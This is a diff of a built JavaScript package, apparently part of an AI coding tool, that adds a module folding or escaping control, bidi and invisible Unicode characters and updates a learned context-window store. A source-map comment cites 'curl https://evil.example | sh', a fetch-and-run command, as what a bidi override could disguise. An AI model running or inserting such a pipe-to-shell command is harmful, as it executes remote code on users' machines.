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","names":[]}
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
// src/control-characters.ts
|
|
2
|
+
var CONTROL_CHARACTERS = /[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g;
|
|
3
|
+
function foldControlCharacters(text) {
|
|
4
|
+
return text.replace(CONTROL_CHARACTERS, " ");
|
|
5
|
+
}
|
|
6
|
+
function stripTerminalControls(text) {
|
|
7
|
+
return text.replace(/\r\n/g, "\n").replace(
|
|
8
|
+
/[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g,
|
|
9
|
+
" "
|
|
10
|
+
);
|
|
11
|
+
}
|
|
12
|
+
var INVISIBLE_CHARACTER = /[\u0000-\u001f\u007f-\u00a0\u00ad\u061c\u180e\u2000-\u200f\u2028-\u202f\u205f-\u2064\u2066-\u206f\u3000\ufeff]/g;
|
|
13
|
+
function escapeInvisibleCharacters(text) {
|
|
14
|
+
return text.replace(INVISIBLE_CHARACTER, (character) => {
|
|
15
|
+
if (character === "\n") return "\\n";
|
|
16
|
+
if (character === "\r") return "\\r";
|
|
17
|
+
if (character === " ") return "\\t";
|
|
18
|
+
return `\\u${character.charCodeAt(0).toString(16).toUpperCase().padStart(4, "0")}`;
|
|
19
|
+
});
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
export {
|
|
23
|
+
CONTROL_CHARACTERS,
|
|
24
|
+
foldControlCharacters,
|
|
25
|
+
stripTerminalControls,
|
|
26
|
+
escapeInvisibleCharacters
|
|
27
|
+
};
|
|
28
|
+
//# sourceMappingURL=chunk-2AAOF5B5.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/control-characters.ts"],"sourcesContent":["/**\n * Characters that make rendered text differ from the text itself: C0 controls and DEL, C1\n * controls (NEL included), the Arabic letter mark, LRM/RLM, the line and paragraph separators,\n * and the bidi embeddings, overrides and isolates. An override can display\n * `curl https://evil.example | sh` as something harmless, and a newline or ESC breaks a one-line\n * row. Global: use it with `replace`, never `test`.\n */\nexport const CONTROL_CHARACTERS =\n /[\\u0000-\\u001f\\u007f-\\u009f\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g;\n\n/** Fold every run of {@link CONTROL_CHARACTERS} to one space, for a one-line display. */\nexport function foldControlCharacters(text: string): string {\n return text.replace(CONTROL_CHARACTERS, ' ');\n}\n\n/**\n * Replace every control character except newline and tab with a space, for multi-line text shown\n * as is (tool output under a screen reader): a bidi override or an escape sequence must not\n * rewrite the terminal, but the line structure stays. A CRLF becomes a newline first.\n */\nexport function stripTerminalControls(text: string): string {\n return text\n .replace(/\\r\\n/g, '\\n')\n .replace(\n /[\\u0000-\\u0008\\u000b-\\u001f\\u007f-\\u009f\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g,\n ' ',\n );\n}\n\n/**\n * Characters a reader cannot see or cannot tell from a plain space: the controls above, NBSP,\n * soft hyphen, the Unicode spaces U+2000-U+200A, zero-width characters, word joiners, the\n * ideographic space and the BOM.\n */\nconst INVISIBLE_CHARACTER =\n /[\\u0000-\\u001f\\u007f-\\u00a0\\u00ad\\u061c\\u180e\\u2000-\\u200f\\u2028-\\u202f\\u205f-\\u2064\\u2066-\\u206f\\u3000\\ufeff]/g;\n\n/**\n * Show every invisible character as an escape (`\\n`, `\\r`, `\\t`, otherwise `\\uXXXX`), so a\n * model told which character was rejected can see it. Ordinary spaces are kept.\n */\nexport function escapeInvisibleCharacters(text: string): string {\n return text.replace(INVISIBLE_CHARACTER, (character) => {\n if (character === '\\n') return '\\\\n';\n if (character === '\\r') return '\\\\r';\n if (character === '\\t') return '\\\\t';\n return `\\\\u${character.charCodeAt(0).toString(16).toUpperCase().padStart(4, '0')}`;\n });\n}\n"],"mappings":";AAOO,IAAM,qBACX;AAGK,SAAS,sBAAsB,MAAsB;AAC1D,SAAO,KAAK,QAAQ,oBAAoB,GAAG;AAC7C;AAOO,SAAS,sBAAsB,MAAsB;AAC1D,SAAO,KACJ,QAAQ,SAAS,IAAI,EACrB;AAAA,IACC;AAAA,IACA;AAAA,EACF;AACJ;AAOA,IAAM,sBACJ;AAMK,SAAS,0BAA0B,MAAsB;AAC9D,SAAO,KAAK,QAAQ,qBAAqB,CAAC,cAAc;AACtD,QAAI,cAAc,KAAM,QAAO;AAC/B,QAAI,cAAc,KAAM,QAAO;AAC/B,QAAI,cAAc,IAAM,QAAO;AAC/B,WAAO,MAAM,UAAU,WAAW,CAAC,EAAE,SAAS,EAAE,EAAE,YAAY,EAAE,SAAS,GAAG,GAAG,CAAC;AAAA,EAClF,CAAC;AACH;","names":[]}
|
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
import {
|
|
2
2
|
writeFileAtomic
|
|
3
|
-
} from "./chunk-
|
|
3
|
+
} from "./chunk-X4NJT436.js";
|
|
4
4
|
import {
|
|
5
5
|
resolveBookHome
|
|
6
|
-
} from "./chunk-
|
|
6
|
+
} from "./chunk-ZPSZZUWF.js";
|
|
7
7
|
|
|
8
8
|
// src/model-window-store.ts
|
|
9
9
|
import { existsSync, readFileSync } from "fs";
|
|
@@ -18,7 +18,7 @@ var learnedModelWindowEntrySchema = z.object({
|
|
|
18
18
|
});
|
|
19
19
|
var looseModelWindowStoreSchema = z.object({
|
|
20
20
|
version: z.number().int().positive().default(MODEL_WINDOW_STORE_VERSION),
|
|
21
|
-
models: z.record(z.unknown()).default({})
|
|
21
|
+
models: z.record(z.string(), z.unknown()).default({})
|
|
22
22
|
});
|
|
23
23
|
function emptyStore() {
|
|
24
24
|
return { version: MODEL_WINDOW_STORE_VERSION, models: {} };
|
|
@@ -197,6 +197,8 @@ export {
|
|
|
197
197
|
MODEL_WINDOW_STORE_VERSION,
|
|
198
198
|
LEARNED_WINDOW_SAFETY_MARGIN,
|
|
199
199
|
MIN_LEARNED_CONTEXT_WINDOW,
|
|
200
|
+
learnedModelWindowEntrySchema,
|
|
201
|
+
looseModelWindowStoreSchema,
|
|
200
202
|
defaultModelWindowStorePath,
|
|
201
203
|
readModelWindowStore,
|
|
202
204
|
writeModelWindowStore,
|
|
@@ -205,4 +207,4 @@ export {
|
|
|
205
207
|
MemoryModelWindowStore,
|
|
206
208
|
createModelWindowStore
|
|
207
209
|
};
|
|
208
|
-
//# sourceMappingURL=chunk-
|
|
210
|
+
//# sourceMappingURL=chunk-4AS7LKKQ.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/model-window-store.ts"],"sourcesContent":["import { existsSync, readFileSync } from 'node:fs';\nimport { join } from 'node:path';\nimport { z } from 'zod';\nimport { resolveBookHome } from './book-home.js';\nimport { writeFileAtomic } from './settings-repository.js';\n\nexport const MODEL_WINDOW_STORE_VERSION = 1;\n\n/**\n * Fraction of the refused prompt history recorded as the learned window ceiling.\n *\n * When a provider rejects a request for exceeding the context limit, the history\n * tokens at that moment represent a size that was REFUSED, not a size the provider\n * accepts. Recording the refused size directly would set a ceiling larger than the\n * true context window (e.g. true window 100k, refused history 150k -> ceiling 150k),\n * causing repeated user-visible failures. Applying a safety margin ensures the\n * recorded ceiling is strictly below the refused size and converges rapidly to a\n * viable operating limit.\n */\nexport const LEARNED_WINDOW_SAFETY_MARGIN = 0.8;\n\n/**\n * Minimum context window ceiling recorded from an overflow refusal.\n *\n * Sane coding sessions require at least 16k tokens for tools, system prompt,\n * and working context. Any refusal below this floor is far more likely to be an\n * upstream proxy error (e.g. 413 Request Entity Too Large) or bad telemetry\n * than a real context limit. Refusals below this floor are ignored rather than\n * recorded, preventing a transient error from permanently bricking the model.\n */\nexport const MIN_LEARNED_CONTEXT_WINDOW = 16_384;\n\nexport interface LearnedModelWindowEntry {\n contextWindow: number;\n learnedAt: number;\n}\n\nexport interface ModelWindowStoreData {\n version: number;\n models: Record<string, LearnedModelWindowEntry>;\n}\n\nexport interface ModelWindowStoreOptions {\n /** Explicit BOOK_HOME directory root (used by tests to isolate storage). */\n home?: string;\n /** Explicit file path override (used by tests). */\n path?: string;\n /** Optional clock override for timestamps (used by tests). */\n now?: () => number;\n}\n\nexport interface ModelWindowStore {\n get(model: string): number | undefined;\n getEntry(model: string): LearnedModelWindowEntry | undefined;\n ratchet(model: string, ceiling: number): boolean;\n all(): Record<string, LearnedModelWindowEntry>;\n}\n\nexport const learnedModelWindowEntrySchema = z.object({\n contextWindow: z.number().int().positive(),\n learnedAt: z.number().int().nonnegative(),\n});\n\nexport const looseModelWindowStoreSchema = z.object({\n version: z.number().int().positive().default(MODEL_WINDOW_STORE_VERSION),\n models: z.record(z.string(), z.unknown()).default({}),\n});\n\nfunction emptyStore(): ModelWindowStoreData {\n return { version: MODEL_WINDOW_STORE_VERSION, models: {} };\n}\n\n/**\n * Resolved location for the user-global learned-window store.\n *\n * This file lives under BOOK_HOME (e.g. ~/.book/model-windows.json), NEVER inside\n * the workspace. A repository must never be able to declare or tamper with\n * learned window ceilings for itself.\n */\nexport function defaultModelWindowStorePath(home?: string): string {\n return home ? join(home, 'model-windows.json') : join(resolveBookHome(), 'model-windows.json');\n}\n\n/**\n * Read the learned-window store.\n * Tolerates missing, empty, or corrupt files by returning an empty store.\n * Never throws into a run.\n */\nexport function readModelWindowStore(options?: ModelWindowStoreOptions): ModelWindowStoreData {\n const filePath = options?.path ?? defaultModelWindowStorePath(options?.home);\n if (!existsSync(filePath)) {\n return emptyStore();\n }\n try {\n const raw = readFileSync(filePath, 'utf-8').trim();\n if (!raw) return emptyStore();\n const parsed = JSON.parse(raw);\n const validated = looseModelWindowStoreSchema.safeParse(parsed);\n if (!validated.success) {\n return emptyStore();\n }\n const models: Record<string, LearnedModelWindowEntry> = {};\n for (const [key, value] of Object.entries(validated.data.models)) {\n const entryResult = learnedModelWindowEntrySchema.safeParse(value);\n if (entryResult.success) {\n models[key] = entryResult.data;\n }\n }\n return {\n version: validated.data.version,\n models,\n };\n } catch {\n return emptyStore();\n }\n}\n\n/**\n * Atomically persist the learned-window store.\n * Never throws into a run.\n */\nexport function writeModelWindowStore(\n data: ModelWindowStoreData,\n options?: ModelWindowStoreOptions,\n): boolean {\n if (data.version > MODEL_WINDOW_STORE_VERSION) {\n return false;\n }\n const filePath = options?.path ?? defaultModelWindowStorePath(options?.home);\n try {\n if (existsSync(filePath)) {\n const existing = readModelWindowStore(options);\n if (existing.version > MODEL_WINDOW_STORE_VERSION) {\n return false;\n }\n }\n const serialized = JSON.stringify(data, null, 2) + '\\n';\n writeFileAtomic(filePath, serialized);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * Records a learned context window ceiling for a model.\n *\n * Ratchet, downward only:\n * - If no entry exists for the model, records the new ceiling.\n * - If an entry exists with a larger ceiling, lowers it.\n * - If an entry exists with an equal or smaller ceiling, changes nothing.\n *\n * Monotonicity is strict: a later overflow at a smaller size lowers it further;\n * an overflow at a larger size does not raise it.\n *\n * Returns true if the store was updated with a new ceiling, false otherwise.\n */\nexport function ratchetModelWindow(\n model: string,\n ceiling: number,\n options?: ModelWindowStoreOptions,\n): boolean {\n return createModelWindowStore(options).ratchet(model, ceiling);\n}\n\n/**\n * File-backed implementation of ModelWindowStore.\n * Delegates to createModelWindowStore for closure-based, freeze-safe caching.\n */\nexport class FileModelWindowStore implements ModelWindowStore {\n private readonly inner: ModelWindowStore;\n\n constructor(options?: ModelWindowStoreOptions) {\n this.inner = createModelWindowStore(options);\n }\n\n get(model: string): number | undefined {\n return this.inner.get(model);\n }\n\n getEntry(model: string): LearnedModelWindowEntry | undefined {\n return this.inner.getEntry(model);\n }\n\n ratchet(model: string, ceiling: number): boolean {\n return this.inner.ratchet(model, ceiling);\n }\n\n all(): Record<string, LearnedModelWindowEntry> {\n return this.inner.all();\n }\n}\n\n/**\n * In-memory implementation of ModelWindowStore, useful for unit tests.\n */\nexport class MemoryModelWindowStore implements ModelWindowStore {\n private readonly models = new Map<string, LearnedModelWindowEntry>();\n private readonly now: () => number;\n\n constructor(initial?: Record<string, LearnedModelWindowEntry>, now = Date.now) {\n this.now = now;\n if (initial) {\n for (const [k, v] of Object.entries(initial)) {\n this.models.set(k, { ...v });\n }\n }\n }\n\n get(model: string): number | undefined {\n return this.models.get(model)?.contextWindow;\n }\n\n getEntry(model: string): LearnedModelWindowEntry | undefined {\n const entry = this.models.get(model);\n return entry ? { ...entry } : undefined;\n }\n\n ratchet(model: string, ceiling: number): boolean {\n if (\n !model ||\n typeof ceiling !== 'number' ||\n !Number.isFinite(ceiling) ||\n ceiling < MIN_LEARNED_CONTEXT_WINDOW\n ) {\n return false;\n }\n const normalized = Math.floor(ceiling);\n const existing = this.models.get(model);\n if (existing && existing.contextWindow <= normalized) {\n return false;\n }\n this.models.set(model, { contextWindow: normalized, learnedAt: this.now() });\n return true;\n }\n\n all(): Record<string, LearnedModelWindowEntry> {\n const result: Record<string, LearnedModelWindowEntry> = {};\n for (const [k, v] of this.models.entries()) {\n result[k] = { ...v };\n }\n return result;\n }\n}\n\n/**\n * Create a freeze-safe ModelWindowStore instance.\n *\n * Cache state is held in a closure rather than as object properties, ensuring\n * that Object.freeze / deepFreeze(config) does not break subsequent memoization.\n */\nexport function createModelWindowStore(options?: ModelWindowStoreOptions): ModelWindowStore {\n let cachedData: ModelWindowStoreData | undefined;\n\n function load(): ModelWindowStoreData {\n if (cachedData === undefined) {\n cachedData = readModelWindowStore(options);\n }\n return cachedData;\n }\n\n return {\n get(model: string): number | undefined {\n if (!model) return undefined;\n return load().models[model]?.contextWindow;\n },\n\n getEntry(model: string): LearnedModelWindowEntry | undefined {\n if (!model) return undefined;\n const entry = load().models[model];\n return entry ? { ...entry } : undefined;\n },\n\n ratchet(model: string, ceiling: number): boolean {\n if (\n !model ||\n typeof ceiling !== 'number' ||\n !Number.isFinite(ceiling) ||\n ceiling < MIN_LEARNED_CONTEXT_WINDOW\n ) {\n return false;\n }\n const fresh = readModelWindowStore(options);\n if (fresh.version > MODEL_WINDOW_STORE_VERSION) {\n return false;\n }\n const normalizedCeiling = Math.floor(ceiling);\n const existingEntry = fresh.models[model];\n const targetCeiling = existingEntry\n ? Math.min(existingEntry.contextWindow, normalizedCeiling)\n : normalizedCeiling;\n\n if (existingEntry && existingEntry.contextWindow === targetCeiling) {\n // If the merged value equals what is already on disk, write nothing and return false.\n return false;\n }\n\n const now = options?.now ? options.now() : Date.now();\n const updated: ModelWindowStoreData = {\n version: fresh.version,\n models: {\n ...fresh.models,\n [model]: {\n contextWindow: targetCeiling,\n learnedAt: now,\n },\n },\n };\n const written = writeModelWindowStore(updated, options);\n if (written) {\n cachedData = updated;\n return true;\n }\n return false;\n },\n\n all(): Record<string, LearnedModelWindowEntry> {\n const models = load().models;\n const result: Record<string, LearnedModelWindowEntry> = {};\n for (const [k, v] of Object.entries(models)) {\n result[k] = { ...v };\n }\n return result;\n },\n };\n}\n"],"mappings":";;;;;;;;AAAA,SAAS,YAAY,oBAAoB;AACzC,SAAS,YAAY;AACrB,SAAS,SAAS;AAIX,IAAM,6BAA6B;AAanC,IAAM,+BAA+B;AAWrC,IAAM,6BAA6B;AA4BnC,IAAM,gCAAgC,EAAE,OAAO;AAAA,EACpD,eAAe,EAAE,OAAO,EAAE,IAAI,EAAE,SAAS;AAAA,EACzC,WAAW,EAAE,OAAO,EAAE,IAAI,EAAE,YAAY;AAC1C,CAAC;AAEM,IAAM,8BAA8B,EAAE,OAAO;AAAA,EAClD,SAAS,EAAE,OAAO,EAAE,IAAI,EAAE,SAAS,EAAE,QAAQ,0BAA0B;AAAA,EACvE,QAAQ,EAAE,OAAO,EAAE,OAAO,GAAG,EAAE,QAAQ,CAAC,EAAE,QAAQ,CAAC,CAAC;AACtD,CAAC;AAED,SAAS,aAAmC;AAC1C,SAAO,EAAE,SAAS,4BAA4B,QAAQ,CAAC,EAAE;AAC3D;AASO,SAAS,4BAA4B,MAAuB;AACjE,SAAO,OAAO,KAAK,MAAM,oBAAoB,IAAI,KAAK,gBAAgB,GAAG,oBAAoB;AAC/F;AAOO,SAAS,qBAAqB,SAAyD;AAC5F,QAAM,WAAW,SAAS,QAAQ,4BAA4B,SAAS,IAAI;AAC3E,MAAI,CAAC,WAAW,QAAQ,GAAG;AACzB,WAAO,WAAW;AAAA,EACpB;AACA,MAAI;AACF,UAAM,MAAM,aAAa,UAAU,OAAO,EAAE,KAAK;AACjD,QAAI,CAAC,IAAK,QAAO,WAAW;AAC5B,UAAM,SAAS,KAAK,MAAM,GAAG;AAC7B,UAAM,YAAY,4BAA4B,UAAU,MAAM;AAC9D,QAAI,CAAC,UAAU,SAAS;AACtB,aAAO,WAAW;AAAA,IACpB;AACA,UAAM,SAAkD,CAAC;AACzD,eAAW,CAAC,KAAK,KAAK,KAAK,OAAO,QAAQ,UAAU,KAAK,MAAM,GAAG;AAChE,YAAM,cAAc,8BAA8B,UAAU,KAAK;AACjE,UAAI,YAAY,SAAS;AACvB,eAAO,GAAG,IAAI,YAAY;AAAA,MAC5B;AAAA,IACF;AACA,WAAO;AAAA,MACL,SAAS,UAAU,KAAK;AAAA,MACxB;AAAA,IACF;AAAA,EACF,QAAQ;AACN,WAAO,WAAW;AAAA,EACpB;AACF;AAMO,SAAS,sBACd,MACA,SACS;AACT,MAA